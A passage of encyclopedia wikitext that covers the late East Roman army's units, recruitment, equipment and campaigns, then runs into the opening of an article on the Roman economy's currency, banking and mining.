They were outside the normal military chain of command as they did not belong to the ''comitatus praesentales'' and reported to the ''magister officiorum'', a civilian official.<ref>''Notitia Dignitatum'' Titles IX and XI</ref> However, this was probably only for administrative purposes: on campaign, the tribunes commanding each ''schola'' probably reported direct to the emperor himself.

The ''Notitia Dignitatum'' lists 7 scolae of cavalry and 1 of agents in the East Roman empire, as well as 5 of cavalry and 1 of agents in the West Roman empire.<ref name="Notitia"/>

===Palatini and Comitatenses===
{{main|Palatini (Roman military)|Comitatenses}}
''Comitatenses'' cavalry units were known as ''vexillationes'', infantry units as either ''legiones'' or ''auxilia''.<ref>Elton (1996) 89</ref> About half the units in the ''comitatus'', both cavalry and infantry, were classified as ''palatini''. The palatini were the majority of the ''comitatus praesentales'' (80% of regiments) and constituted a minority of the regional ''comitatus'' (14%).<ref>''Notitia Dignitatum Orientalis'' Titles V - IX inc.</ref> The ''palatini'' were an elite group with higher status and probably pay.<ref>Elton (1996) 94</ref>

The majority of cavalry units in the ''comitatus'' were traditional melee formations (61%). These units were denoted ''scutarii'', ''stablesiani'' or ''promoti'', probably honorific titles rather than descriptions of function. 24% of regiments were light cavalry: ''equites [[Equites Dalmatae|Dalmatae]]'', ''Mauri'' and ''sagittarii'' (mounted archers). 15% were heavily armoured shock charge cavalry: ''[[cataphracti]]'' and ''[[clibanarii]]''<ref name="Elton 1996 106"/>

===Limitanei===
{{main|Limitanei}}

The limitanei garrisoned fortifications along the borders of the Roman Empire. They were lower-status and lower-paid than the comitatenses and palatini.<ref name=Treadgold149-157>Treadgold 1995, pp. 149-157.</ref> The nature of the limitanei changed considerably between their introduction in the 3rd or 4th century and their disappearance in the 6th or 7th century. In the 4th century, the limitanei were professional soldiers,<ref name=Treadgold161>Treadgold 1995, p. 161.</ref><ref name=Strobel268>Strobel 2011, p. 268.</ref><ref>Southern & Dixon, 1996, p. 57.</ref> and included both infantry and cavalry as well as river flotillas,<ref name=Notitia>The ''Notitia Dignitatum''.</ref><ref name=Treadgold44-59>Treadgold 1995, pp. 44-59.</ref> but after the 5th century they were part-time soldiers,<ref name=Treadgold161/> and after the 6th century they were unpaid militia.<ref>Treadgold 1995, p. 60, for the pay cancellation but not the role.</ref><ref>Southern & Dixon, 1996, p. 36.</ref> The role of the limitanei appears to have included garrisoning frontier fortifications, operating as border guards and customs police, and preventing small-scale raids.<ref name=Treadgold93>Treadgold1995, p. 93.</ref><ref name=Elton204-206>Elton 1996, pp. 204-206.</ref>

==Recruitment==

Although the East Roman army sometimes turned to conscription it usually relied on volunteer soldiers.<ref name="Elton, Hugh p. 535">Elton, Hugh, "Army and Battle in the Age of Justinian," in Erdkamp, Paul, ''A Companion to the Roman Army'', p. 535.</ref> Shortages of money, rather than of manpower, usually limited recruitment.<ref name="Elton, Hugh p. 535"/>

In 395, the army used Latin as its operating language. This continued to be the case into the late 6th century, despite the fact that Greek was the common language of the Eastern empire.<ref>[[Maurice (emperor)|Maurice]] ''Strategikon''</ref>{{verify credibility|date=September 2013}} This was not simply due to tradition, but also to the fact that about half the Eastern army continued to be recruited in the Latin-speaking Danubian regions of the Eastern empire. An analysis of known origins of ''comitatenses'' in the period 350-476 shows that in the Eastern army, the Danubian regions provided 54% of the total sample, despite constituting just 2 of the 7 eastern [[Roman diocese|dioceses]] (administrative divisions): Dacia and Thracia.<ref>Elton (1996) 134</ref> These regions continued to be the prime recruiting grounds for the East Roman army e.g. the emperor [[Justin I]] (r. 518-27), uncle of Justinian I, was a Latin-speaking peasant who never learnt to speak more than rudimentary Greek. The Romanized [[Thracians|Thracian]] ([[Thraco-Roman]]) and [[Illyrians|Illyrian]] inhabitants of those regions, who came to be known as [[Vlachs]] by foreigners in the [[Middle Ages]], retained the Roman name ([[Romanians]]) and the Latin tongue.{{citation needed|date=September 2013}}

==Tactics==
{{stub-section|date=September 2013}}

===Heavy infantry===

The East Roman heavy infantry relied on their spears and shields in close combat.<ref name="Stephenson, I.P. p. 79">Stephenson, I.P., ''Romano-Byzantine Infantry Equipment'', p. 79.</ref> These weapons were most effective when the soldiers fought in formation.<ref>Stephenson, I.P., ''Romano-Byzantine Infantry Equipment'', pp. 79-80.</ref>

===Maurikios' Strategikon===
{{Main|Strategikon of Maurice}}
The '''Strategikon''' is the earliest surviving Roman/Byzantine [[cavalry manual]], and directly influenced later Byzantine military manuals. The Strategikon describes the organization, equipment, and tactics of the east Roman army at the end of this period.

==Equipment==
{{See also|Category:Ancient Roman military equipment|Roman military personal equipment}}

The east Roman army included both light and heavy infantry,<ref>The ''Notitia Dignitatum'' attests several infantry units of sagittarii/</ref> as well as light and heavy cavalry.<ref>Treadgold, pp.44-59</ref><ref>The ''Notitia Dignitatum'' attests several cavalry units of sagittarii, as well as catafractarii and clibanarii.</ref>

The equipment of the East Roman army changed considerably between the 4th and 7th Centuries. By the end of the period, the cavalry had armor and [[horse armor]], with both bows and lances as weapons. The heavy infantry still had armor, with large shields, spears, and swords. The light infantry had bows.

M.C. Bishop and J.C.M. Coulston, in a major work on Roman military equipment, do not distinguish the equipment of the various branches of the Roman military.<ref name=Bishop233-240/> It is doubtful whether there were any universal differences between the equipment of the palatini, comitatenses, and limitanei.

The late Roman empire had centralized fabricae, introduced by Diocletian, to provide arms and armor for the army.<ref name=Bishop233-240>Bishop & Coulston 2006, pp. 233-240.</ref><ref>Michel Feugère, 2002, ''Weapons of the Romans'', pp. 185-193. He dates this to the time of Diocletian, based on [[John Malalas]]'s quoting one of [[Lactantius]]'s works.</ref><ref>The ''Notitia Dignitatum''</ref><ref>Southern & Dixon, 1996, pp. 89-91.</ref> The introduction of the centralized fabricae, where earlier armies had relied on legionary workshops, may reflect the needs of the field armies.{{citation needed|date=September 2013}}

{{cleanup|Equipment and Tactics|reason=Copied this section from [[Late Roman army]] as a template. We need to cut out everything specific to an earlier period and add everything specific to this period.|date=September 2013}}

The basic equipment of a 4th-century foot soldier was essentially the same as in the 2nd century: metal armour cuirass, metal helmet, shield and sword.<ref>Elton (1996) 107</ref> Some evolution took place during the 3rd century. Trends included the adoption of warmer clothing; the disappearance of distinctive legionary armour and weapons; the adoption by the infantry of equipment used by the cavalry in the earlier period; and the greater use of heavily armoured cavalry called [[cataphracts]].

===Clothing===
According to the ''Strategikon'', the cavalry soldiers should have long "Avar" tunics reaching past the knees, and large cloaks with sleeves.<ref>''Strategikon'', book 1, section 2, following George Dennis' translation.</ref>

According to the ''Strategikon'', the infantry soldiers should have long "Gothic" tunics reaching the knees, or short ones with split sides, as well as "Gothic" shoes with thick hobnailed soles, and "Bulgarian" cloaks.<ref>''Strategikon'', book 12, section b1, following George Dennis' translation.</ref>

In the 1st and 2nd centuries, a Roman soldier's clothes consisted of a single-piece, short-sleeved tunic whose hem reached the knees and special hobnailed sandals (''caligae''). This attire, which left the arms and legs bare, had evolved in a Mediterranean climate and was not suitable for northern Europe in cold weather. In northern Europe, long-sleeved tunics, trousers (''bracae''), socks (worn inside the ''caligae'') and laced boots were commonly worn in winter from the 1st century. During the 3rd century, these items of clothing became much more widespread, apparently common in Mediterranean provinces also.<ref>Goldsworthy (2003) 120, 127</ref> However, it is likely that in warmer weather, trousers were dispensed with and ''caligae'' worn instead of socks and boots.<ref>Mosaic from [[Piazza Armerina]]</ref> Late Roman clothing was often highly decorated, with woven or embroidered strips, ''clavi,'' and circular roundels, ''orbiculi,'' added to tunics and cloaks. These decorative elements usually consisted of geometrical patterns and stylised plant motifs, but could include human or animal figures.<ref>Sumner and D'Amato, 7–9</ref> A distinctive part of a soldier's costume, though it seems to have also been worn by non-military bureaucrats, was a type of round, brimless hat known as the pannonian cap (''pileus pannonicus'').<ref>Sumner and D'Amato, 37</ref>

===Armour===

In the 3rd century, troops are depicted wearing [[mail armor|mail]] or [[scale armour]]. The artistic record shows that most late soldiers wore metal armour, despite Vegetius' statement to the contrary. For example, illustrations in the ''Notitia'' show that the army's ''fabricae'' (arms factories) were producing mail armour at the end of the 4th century.<ref>''Notitia'' Oriens.XI</ref> Actual examples of both scale armour and quite large sections of mail have been recovered, at Trier and Weiler-La-Tour respectively, within 4th-century contexts.<ref>Bishop and Coulston (2006) 208</ref> Officers generally seem to have worn bronze or iron cuirasses, as in the days of the Principate, together with traditional ''[[pteruges]]''.<ref>Elton (1996) 111</ref> The cataphract and ''clibanarii'' cavalry, from limited pictorial evidence and especially from the description of these troops by Ammianus, seem to have worn specialist forms of armour. In particular their limbs were protected by laminated defences, made up of curved and overlapping metal segments: ''"Laminarum circuli tenues apti corporis flexibus ambiebant per omnia membra diducti"'' (Thin circles of iron plates, fitted to the curves of their bodies, completely covered their limbs).<ref>Ammianus, XVI 10</ref>

===Helmets===
{{Cleanup|Helmets|reason=So far this relies on the Late Roman army article. We need to delete the out-of-date sections and include good info on the Byzantine types. Stephenson refers to ridge helmets, spangenhelms, lamellar helmets, coifs (done), and kettle helmets, along with anomalous finds, and imho we should try to touch on each except the anomalous finds.|date=September 2013}}

In general, Roman cavalry helmets had enhanced protection, in the form of wider cheek-guards and deeper neck-guards, for the sides and back of the head than infantry helmets. Infantry were less vulnerable in those parts due to their tighter formation when fighting.<ref>Goldsworthy (2003) 137</ref> During the 3rd century, infantry helmets tended to adopt the more protective features of cavalry helmets of the Principate. Cheek-guards could often be fastened together over the chin to protect the face, and covered the ears save for a slit to permit hearing e.g. the "Auxiliary E" type or its Niederbieber variant. Cavalry helmets became even more enclosed e.g. the "[[Heddernheim]]" type, which is close to the medieval [[great helm]], but at the cost much reduced vision and hearing.<ref>Goldsworthy (2003) 126</ref>

In contrast, some infantry helmets in the 4th century reverted to the more open features of the main Principate type, the "[[Imperial helmet|Imperial Gallic]]". The "Intercisa" design left the face unobstructed and had ear-holes in the join between cheek-guards and bowl to allow good hearing. In a radical change from the earlier single-bowl design, the Intercisa bowl was made of two separate pieces joined by a riveted ridge in the middle (hence the term "[[Late Roman ridge helmet|ridge helmet]]"). It was simpler and cheaper to manufacture, and therefore probably by far the most common type, but structurally weaker and therefore offered less effective protection.<ref>Goldsworthy (2003) 123, 126</ref> The "Berkasovo" type was a more sturdy and protective ridge helmet. This type of helmet usually has 4 to 6 skull elements (and the characteristic median ridge), a nasal (nose-guard), a deep brow piece riveted inside the skull elements and large cheekpieces. This was probably the cavalry version, as the cheekpieces lack ear-holes. Unusually the helmet discovered at [[Burgh Castle]], in England, is of the Berkasovo method of construction, but has cheekpieces with earholes. Face-guards of mail or in the form of metal 'anthropomorphic masks,' with eye-holes, were often added to the helmets of the heaviest forms of cavalry, especially ''cataphracti''.<ref>Southern and Dixon, pp. 92-94</ref><ref>Goldsworthy (2003) 123, 205</ref>

Despite the apparent cheapness of manufacture of their basic components, many surviving examples of Late Roman helmets, including the Intercisa type, show evidence of expensive decoration in the form of silver or [[silver-gilt]] sheathing.<ref>Southern & Dixon (1996) 92–93</ref><ref>Bishop & Coulston (2006) 210–213</ref> A possible explanation is that most of the surviving exemplars may have belonged to officers and that silver- or gold-plating denoted rank; and, in the case of mounted gemstones, high rank e.g. the ornate [[Deurne]] helmet, believed by some historians to have belonged to a senior officer.<ref name="Goldsworthy 2003 202">Goldsworthy (2003) 202</ref> Other academics, in contrast, consider that silver-sheathed helmets may have been widely worn by ''comitatus'' soldiers, given as a form of pay or reward.<ref>Bishop & Coulston (2006) 214–5.</ref>

Some East Roman soldiers wore mail or scale hoods for head protection; these could be part of mail coats or could be separate [[coif]]s.{{dead link|date=September 2013}}<ref>Stephenson, I.P., ''Romano-Byzantine Infantry Equipment'', pp. 26-27.</ref><ref>The ''Strategikon'', book 1 section 2, according to George Dennis's translation, recommends "hooded coats of mail" for the cavalry.</ref> Similar armoured hoods appear in an illustration in the Vergilius Vaticanus.<ref>Stephenson, I.P., ''Romano-Byzantine Infantry Equipment'', p. 26.</ref>

===Shields===

Shields were both protective equipment for the soldiers and insignia for their units.<ref>Stephenson, I.P., ''Romano-Byzantine Infantry Equipment'', pp. 35-41.</ref> Both Vegetius, in [[De re Militari]], and Mauricius, in the [[Strategikon of Maurice|Strategikon]], emphasize that each unit should have distinctive shields.<ref>Stephenson, I.P., ''Romano-Byzantine Infantry Equipment'', pp. 35-36.</ref>

Lance-armed cavalry carried shields, although bow-armed cavalry generally did not.<ref>The ''Strategikon'', book 1, sections 2 and 8, and book 3, section 1.</ref>

All troops adopted the auxiliary oval (or sometimes round) shield (''[[clipeus]]'').<ref>Elton (1996) 115</ref> Shields, from examples found at Dura and Nydam, were of vertical plank construction, the planks glued, and faced inside and out with painted leather. The edges of the shield were bound with stitched rawhide, which shrank as it dried improving structural cohesion. It was also lighter than the edging of copper alloy used in earlier Roman shields.<ref>Bishop & Coulston (2006) 217</ref>

===Hand-to-hand weapons===

The East Roman heavy infantry relied on the spear in close combat.<ref name="Stephenson, I.P. p. 79"/> No late Roman or East Roman spear shafts survive, but I.P. Stephenson suggests that East Roman spears may have been as long as northern European spears discovered in the bog deposits at Illerup and Nydam, between 2.23 meters and 3.54 meters long.<ref>Stephenson, I.P., ''Romano-Byzantine Infantry Equipment'', pp. 82-83.</ref>

The infantry adopted the ''[[spatha]]'', a longer (median length: 760 mm/30 in) sword that during the earlier centuries was used by the cavalry only.<ref name="Goldsworthy 2003 205">Goldsworthy (2003) 205</ref> In addition, Vegetius mentions the use of a shorter-bladed sword termed a ''semispatha.''<ref>Bishop & Coulston (2006) 202</ref> At the same time, infantry acquired a heavy thrusting-spear (''[[hasta (spear)|hasta]]'') which became the main close order combat weapon to replace the ''gladius'', as the ''spatha'' was too long to be swung comfortably in tight formation (although it could be used to stab). These trends imply a greater emphasis on fighting the enemy "at arm's length".<ref>Elton (1996) 110</ref>

Short, single-edged knives were also used, although probably as tools rather than weapons.<ref>Stephenson, I.P., ''Romano-Byzantine Infantry Equipment'', p. 103.</ref> These appear in 4th-century graves with military belt fittings,<ref>Bishop & Coulston (2006) 205</ref> and similar tools appear in 4th through 7th-century contexts.<ref>Stephenson, I.P., ''Romano-Byzantine Infantry Equipment'', pp. 103-105.</ref>

===Missile weapons===

In addition to his thrusting-spear, a late foot soldier might also carry a throwing-spear (''verutum'') or a ''spiculum'', a kind of heavy, long ''pilum'', similar to an [[angon]]. Alternatively, a couple of short javelins (''lanceae''). Late infantrymen often carried half a dozen lead-weighted throwing-darts called ''[[plumbata]]e'' (from ''plumbum'' = "lead"), with an effective range of c. {{convert|30|m|0|abbr=on}}, well beyond that of a javelin. The darts were carried clipped to the back of the shield.<ref>Goldsworthy (2000) 167; (2003) 205</ref> The late foot soldier thus had greater missile capability than his Principate predecessor, who was usually limited to just two ''pila''.<ref name="Goldsworthy 2000 168">Goldsworthy (2000) 168</ref> Late Roman archers continued to use the recurved [[composite bow]] as their principal weapon. This was a sophisticated, compact and powerful weapon, suitable for mounted and foot archers alike (the cavalry version being more compact than the infantry's). A small number of archers may have been armed with [[crossbows]] (''manuballistae'').<ref>Elton (1996) 108</ref>{{dubious|date=September 2013}}

==Campaigns==
{{stub-section|date=September 2013}}

In the 6th century, the emperor [[Justinian I]], who reigned from 527 to 565, sent much of the East Roman army to try to reconquer the former [[Western Roman Empire|West Roman empire]]. In these wars, the East Roman empire reconquered parts of North Africa from the [[Vandal kingdom]] and Italy from the [[Ostrogothic kingdom]], as well as parts of southern [[Spain]]. In the 7th century, the emperor [[Heraclius]] led the east Roman army against the [[Sassanid empire]], temporarily regaining [[Egypt]] and [[Syria]], and then against the [[Rashidun Caliphate]]. His defeat at the [[Battle of Yarmuk]] would lead to the Islamic conquest of Syria and Egypt, and would force the reorganization of the East Roman army, leading to the [[Theme (Byzantine district)|thematic]] system of later [[Byzantine army|Byzantine armies]].

== Citations ==
{{reflist}}

== References ==
* {{cite book |last=Duncan-Jones |first=Richard |title=Structure and Scale in the Roman Economy |year=1990}}
* {{cite book |last=Duncan-Jones |first=Richard |title=Money and Government in the Roman Empire |year=1994}}
* {{cite book |last=Elton |first=Hugh |title=Warfare in Roman Europe, AD 350-425 |year=1996 |publisher=[[Oxford University Press]] |isbn=978-0-19-815241-5}}
* {{cite book |last=Goldsworthy |first=Adrian |title=Roman Warfare |year=2000}}
* {{cite book |last=Goldsworthy |first=Adrian |title=Complete Roman Army |year=2005}}
* {{cite book |last=Heather |first=Peter |title=Fall of the Roman Empire |year=2005}}
* {{cite book|last=Isaac |first=B. |title=Limits of Empire |year=1992}}
* {{cite book |last=Jones |first=A.H.M. |title=Later Roman Empire |year=1964}}
* {{cite book |last=Luttwak |first=Edward |title=Grand Strategy of the Roman Empire |year=1976}}
* {{cite book |last=Treadgold |first=Warren |title=Byzantium and its Army (284-1081) |year=1995}}
* {{cite book |last=Wacher |first=John |title=''The Roman World'' |year=1988}}

== See also ==
*[[Late Roman army]]
*[[Roman army]]

{{Byzantine Empire topics|state=collapsed}}

{{DEFAULTSORT:East Roman Army}}
[[Category:Military history of ancient Rome]]
[[Category:Byzantine army]]
[[Category:Late Roman military]]

Roman economy

2016-07-04T00:04:33Z

PythonCode: Fixed link for follis

[[File:GDP regional Ancient Rome.png|thumb|300px|Total GDP around 1 AD for various regions of the Roman Empire<ref>{{Cite web | url=http://www.ggdc.net/maddison/Historical_Statistics/horizontal-file_03-2009.xls | title=Statistics on World Population, GDP and Per Capita GDP, 1–2006 AD | publisher=[[University of Groningen]] | accessdate=September 18, 2012}}</ref>]]

The history of the '''Roman economy''' covers the period of the [[Roman Republic]] and the [[Roman Empire]]. Recent research has led to a positive reevaluation of the size and sophistication of the Roman economy.<ref>Bang 2009, pp. 199–203</ref>
[[Moses I. Finley|Moses Finley]] was the chief proponent of the primitivist view that the Roman economy was "underdeveloped and underachieving", characterized by [[subsistence agriculture]]; urban centres that consumed more than they produced in terms of trade and industry; low-status artisans; slowly developing technology; and a "lack of economic rationality".<ref>David Mattingly, "The Imperial Economy", in ''A Companion to the Roman Empire'' (Blackwell, 2010), p. 283.</ref> Current views are more complex. Territorial conquests permitted a large-scale reorganization of [[land use]] that resulted in agricultural surplus and specialization, particularly in north Africa.<ref name="Mattingly p. 285">Mattingly, "The Imperial Economy", p. 285.</ref> Some cities were known for particular industries or commercial activities, and the scale of building in urban areas indicates a significant construction industry.<ref name="Mattingly p. 285"/> Papyri preserve complex accounting methods that suggest elements of [[economic rationalism]],<ref name="Mattingly p. 286">Mattingly, "The Imperial Economy", p. 286.</ref> and the Empire was highly monetized.<ref>Mattingly, "The Imperial Economy", p. 292.</ref> Although the means of communication and transport were limited in antiquity, transportation in the 1st and 2nd centuries expanded greatly, and trade routes connected regional economies.<ref>Mattingly, "The Imperial Economy", pp. 285–286, p. 296f.</ref> The [[Economics of the Roman army|supply contracts for the army]], which pervaded every part of the Empire, drew on local suppliers near the base ''([[castrum]])'', throughout the province, and across provincial borders.<ref>Mattingly, "The Imperial Economy", p. 296.</ref> The Empire is perhaps best thought of as a network of regional economies, based on a form of "political capitalism" in which the state monitored and regulated commerce to assure its own revenues.<ref>Mattingly, "The Imperial Economy", pp. 286, 295.</ref> Economic growth, though not comparable to modern economies, was greater than that of most other societies prior to [[Industrial Revolution|industrialization]].<ref name="Mattingly p. 286"/>

Socially, economic dynamism opened up one of the avenues of social mobility in the Roman Empire. Social advancement was thus not dependent solely on birth, [[Patronage in ancient Rome|patronage]], good luck, or even extraordinary ability. Although aristocratic values permeated traditional elite society, a strong tendency toward [[plutocracy]] is indicated by the wealth requirements for [[#Census rank|census rank]]. Prestige could be obtained through investing one's wealth in ways that advertised it appropriately: grand country estates or townhouses, durable luxury items such as [[#Decorative arts|jewels and silverware]], [[#Recreation and spectacles|public entertainments]], funerary monuments for family members or coworkers, and [[votum|religious dedications]] such as altars. Guilds ''([[collegium|collegia]])'' and corporations ''(corpora)'' provided support for individuals to succeed through networking, sharing sound business practices, and a willingness to work.<ref>Koenraad Verboven, "The Associative Order: Status and Ethos among Roman Businessmen in the Late Republic and Early Empire", ''Athenaeum'' 95 (2007), [https://biblio.ugent.be/input/download?func=downloadFile&recordOId=395187&fileOId=587917 preprint.]</ref>

==Currency and banking==

{{see also|Roman currency|Roman finance}}

{{quote box|bgcolor=#FFFFF0|width=25%|align=right|salign=right
|quote='''Currency denominations'''{{citation needed|date=September 2012}}
* '''27 BC–AD 212:''' 1 gold ''[[aureus]]'' (1/40 lb. of gold, devalued to 1/50 lb. by 212) = 25 silver ''[[denarii]]'' = 100 bronze ''[[sestertii]]'' = 400 copper ''[[As (Roman coin)|asses]]''
* '''294–312:''' 1 gold ''[[solidus (coin)|aureus solidus]]'' (1/60 lb. of gold) = 10 silver ''[[argenteus|argentei]]'' = 40 bronze ''[[follis|folles]]'' = 1,000 debased metal ''denarii''
* '''312 onwards:''' 1 gold ''[[solidus (coin)|solidus]]'' (1/72 lb.) = 24 silver ''[[siliqua]]e'' = 180 bronze ''folles''
|source=
}}
The early Empire was monetized to a near-universal extent, in the sense of using money as a way to express [[price]]s and [[debt]]s.<ref>David Kessler and Peter Temin, "Money and Prices in the Early Roman Empire," in ''The Monetary Systems of the Greeks and Romans,'' in ''The Monetary Systems of the Greeks and Romans'' (Oxford University Press, 2008), n.p.</ref> The ''[[sestertius]]'' (plural ''sestertii,'' English "sesterces", symbolized as ''HS'') was the basic unit of reckoning value into the 4th century,<ref>Kenneth W. Hart, ''Coinage in the Roman Economy, 300 B.C. to A.D. 700'' (Johns Hopkins University Press, 1996), p. 135.</ref> though the silver ''[[denarius]]'', worth four sesterces, was used also for accounting beginning in the [[Severan dynasty]].<ref>Mireille Corbier, "Coinage and Taxation: The State's Point of View, A.D. 193–337," in ''Cambridge Ancient History: The Crisis of Empire, A.D. 193–197'' (Cambridge University Press, 2005), vol. 12, p. 333.</ref> The smallest coin commonly circulated was the bronze ''[[as (Roman coin)|as]]'' (plural ''asses''), one-fourth ''sestertius''.<ref>Colin Wells, ''The Roman Empire'' (Harvard University Press, 1984, 1992), p. 8.</ref> [[Bullion]] and [[ingot]]s seem not to have counted as ''pecunia'', "money," and were used only on the frontiers for transacting business or buying property. Romans in the 1st and 2nd centuries counted coins, rather than weighing them—an indication that the coin was valued on its face, not for its metal content. This tendency toward [[fiat money]] led eventually to the [[debasement]] of Roman coinage, with consequences in the later Empire.<ref>[[William V. Harris|W.V. Harris]], "The Nature of Roman Money," in ''The Monetary Systems of the Greeks and Romans'', n.p.</ref> The standardization of money throughout the Empire promoted trade and [[market integration]].<ref>Kessler and Temin, "Money and Prices in the Early Roman Empire," n.p.</ref> The high amount of metal coinage in circulation increased the [[money supply]] for trading or saving.<ref>Walter Scheidel, "The Monetary Systems of the Han and Roman Empires", in: Scheidel, Walter, ed. (2009): ''Rome and China. Comparative Perspectives on Ancient World Empires'' (Oxford University Press, 2009), New York, ISBN 978-0-19-533690-0, pp. 137–207, especially p. 205.</ref>

Rome had no [[central bank]], and regulation of the banking system was minimal. Banks of classical antiquity typically kept [[fractional reserve banking|less in reserves]] than the full total of customers' deposits. A typical bank had fairly limited [[Financial capital|capital]], and often only one principal, though a bank might have as many as six to fifteen principals. [[Seneca the Younger|Seneca]] assumes that anyone involved in commerce needs access to [[Credit (finance)|credit]].<ref>Harris, "The Nature of Roman Money," n.p.</ref>

[[File:Solidus Constantine II-heraclea RIC vII 101.jpg|thumb|left|''Solidus'' issued under [[Constantine II (emperor)|Constantine II]], and on the reverse [[Victoria (mythology)|Victoria]], one of the last deities to appear on Roman coins, gradually transforming into an [[Angel#Christianity|angel]] under Christian rule<ref>[[J. Rufus Fears]], "The Theology of Victory at Rome: Approaches and Problem," ''Aufstieg und Niedergang der römischen Welt'' II.17.2 (1981), pp. 752 and 824, and in the same volume, "The Cult of Virtues and Roman Imperial Ideology," p. 908.</ref>]]
A professional [[Deposit account|deposit]] banker (''argentarius,'' ''coactor argentarius'', or later ''nummularius'') received and held deposits for a fixed or indefinite term, and lent money to third parties.<ref>Jean Andreau, ''Banking and Business in the Roman World'' (Cambridge University Press, 1999), p. 2.</ref> The senatorial elite were involved heavily in private lending, both as creditors and borrowers, making loans from their personal fortunes on the basis of social connections.<ref>Andreau, ''Banking and Business in the Roman World'', p. 2; Harris, "The Nature of Roman Money," n.p.</ref> The holder of a debt could use it as a means of payment by transferring it to another party, without cash changing hands. Although it has sometimes been thought that ancient Rome lacked [[negotiable instrument|"paper" or documentary transactions]], the system of banks throughout the Empire also permitted the exchange of very large sums without the physical transfer of coins, in part because of the risks of moving large amounts of cash, particularly by sea. Only one serious credit shortage is known to have occurred in the early Empire, a credit crisis in 33 AD that put a number of senators at risk; the central government rescued the market through a small loan of 100 million ''HS'' made by the emperor Tiberius to the banks ''(mensae)''.<ref>Tacitus, ''Annales'' 6.17.3.</ref> Generally, available capital exceeded the amount needed by borrowers.<ref name="ReferenceA">Harris, "The Nature of Roman Money," in ''The Monetary Systems of the Greeks and Romans'', n.p.</ref> The central government itself did not borrow money, and without [[public debt]] had to fund [[Government budget balance|deficits]] from cash reserves.<ref>Richard Duncan-Jones, ''Money and Government in the Roman Empire'' (Cambridge University Press, 1994), pp. 3–4.</ref>

Emperors of the [[Antonine dynasty|Antonine]] and Severan dynasties overall debased the currency, particularly the denarius, under the pressures of meeting military payrolls.<ref>Hart, ''Coinage in the Roman Economy, 300 B.C. to A.D. 700'', p. 125–136.</ref> Sudden inflation during the reign of [[Commodus]] damaged the credit market.<ref name="ReferenceA"/> In the mid-200s, the supply of [[specie (disambiguation)|specie]] contracted sharply.<ref>Hart, ''Coinage in the Roman Economy, 300 B.C. to A.D. 700'', pp. 128–129.</ref> Conditions during the [[Crisis of the Third Century]]—such as reductions in long-distance trade, disruption of mining operations, and the physical transfer of gold coinage outside the empire by invading enemies—greatly diminished the money supply and the banking sector by the year 300.<ref>Harris, "The Nature of Roman Money," in ''The Monetary Systems of the Greeks and Romans'', n.p.; Hart, ''Coinage in the Roman Economy, 300 B.C. to A.D. 700'', pp. 128–129.</ref> Although Roman coinage had long been fiat money or [[fiduciary currency]], general economic anxieties came to a head under [[Aurelian]], and bankers lost confidence in coins legitimately issued by the central government. Despite [[Diocletian]]'s introduction of the gold ''[[solidus (coin)|solidus]]'' and monetary reforms, the credit market of the Empire never recovered its former robustness.<ref name="ReferenceA"/>

==Mining and metallurgy==
{{Main|Roman metallurgy}}
{{See also|Mining in Roman Britain}}
[[File:Panorámica de Las Médulas.jpg|thumb|Landscape resulting from the ''[[ruina montium]]'' mining technique at [[Las Médulas]], [[Roman Spain]], one of the most important gold mines in the Roman Empire]]
The main mining regions of the Empire were Spain (gold, silver, copper, tin, lead); Gaul (gold, silver, iron); Britain (mainly iron, lead, tin), the [[Danubian provinces]] (gold, iron); [[Macedonia (Roman province)|Macedonia]] and [[Thracia|Thrace]] (gold, silver); and Asia Minor (gold, silver, iron, tin). Intensive large-scale mining—of alluvial deposits, and by means of [[open-cast mining]] and [[underground mining]]—took place from the reign of Augustus up to the early 3rd century AD, when the instability of the Empire disrupted production. The gold mines of [[Dacia]], for instance, were no longer available for Roman exploitation after the province was surrendered in 271. Mining seems to have resumed to some extent during the 4th century.<ref>"Mining," in ''Late Antiquity: A Guide to the Postclassical World'' p. 579.</ref>

[[File:World Lead Production.jpg|thumb|left|World production of lead, estimated from Greenland ice cores, peaked in the 1st century AD, and strongly declined thereafter.<ref>{{cite journal | last1 = Hong | first1 = Sungmin | authorlink3 = Clair Cameron Patterson | last2 = Candelone | first2 = Jean-Pierre | last3 = Patterson | first3 = Clair C. | last4 = Boutron | first4 = Claude F. | year = 1994 | title = Greenland Ice Evidence of Hemispheric Lead Pollution Two Millennia Ago by Greek and Roman Civilizations | url = | journal = [[Science (journal)|Science]] | volume = 265 | issue = 5180| pages = 1841–1843 | doi=10.1126/science.265.5180.1841 | pmid=17797222}}</ref> World production would only surpass Roman levels in the middle of the 18th century.]]
[[Hydraulic mining]], which Pliny referred to as ''[[ruina montium]]'' ("ruin of the mountains"), allowed [[base metal|base]] and [[precious metal]]s to be extracted on a proto-industrial scale.<ref>[[Andrew Wilson (classical archaeologist)|Wilson, Andrew]] (2002): "Machines, Power and the Ancient Economy", ''[[The Journal of Roman Studies]]'', Vol. 92, pp. 1–32 (17–21, 25, 32)</ref> The total annual iron output is estimated at 82,500 [[tonnes]],<ref>Craddock, Paul T. (2008): "Mining and Metallurgy", in: [[John Peter Oleson|Oleson, John Peter]] (ed.): ''The Oxford Handbook of Engineering and Technology in the Classical World'', Oxford University Press, ISBN 978-0-19-518731-1, p. 108; Sim, David; Ridge, Isabel (2002): ''Iron for the Eagles. The Iron Industry of Roman Britain'', Tempus, Stroud, Gloucestershire, ISBN 0-7524-1900-5, p. 23; Healy, John F. (1978): ''Mining and Metallurgy in the Greek and Roman World'', Thames and Hudson, London, ISBN 0-500-40035-0, p. 196. Assumes a productive capacity of c. 1.5 kg per capita. Healy, John F. (1978): ''Mining and Metallurgy in the Greek and Roman World'', Thames and Hudson, London, ISBN 0-500-40035-0, p. 196</ref> while the similarly populous Han China, where the state prohibited private ironworks, produced around 5,000 t.<ref name="Wagner, Donald B. 2001, p. 73, 85">Wagner, Donald B.: "The State and the Iron Industry in Han China", NIAS Publishing, Copenhagen 2001, ISBN 87-87062-77-1, p. 73, 85</ref> Copper was produced at an annual rate of 15,000 t,<ref>Hong, Sungmin; Candelone, Jean-Pierre; [[Clair Cameron Patterson|Patterson, Clair C.]]; Boutron, Claude F. (1996): "History of Ancient Copper Smelting Pollution During Roman and Medieval Times Recorded in Greenland Ice", ''[[Science (journal)|Science]]'', Vol. 272, No. 5259, pp. 246–249 (366–369); cf. also Wilson, Andrew (2002): "Machines, Power and the Ancient Economy", ''[[The Journal of Roman Studies]]'', Vol. 92, pp. 1–32 (25–29)</ref> and lead at 80,000 t,<ref>Hong, Sungmin; Candelone, Jean-Pierre; [[Clair Cameron Patterson|Patterson, Clair C.]]; Boutron, Claude F. (1994): "Greenland Ice Evidence of 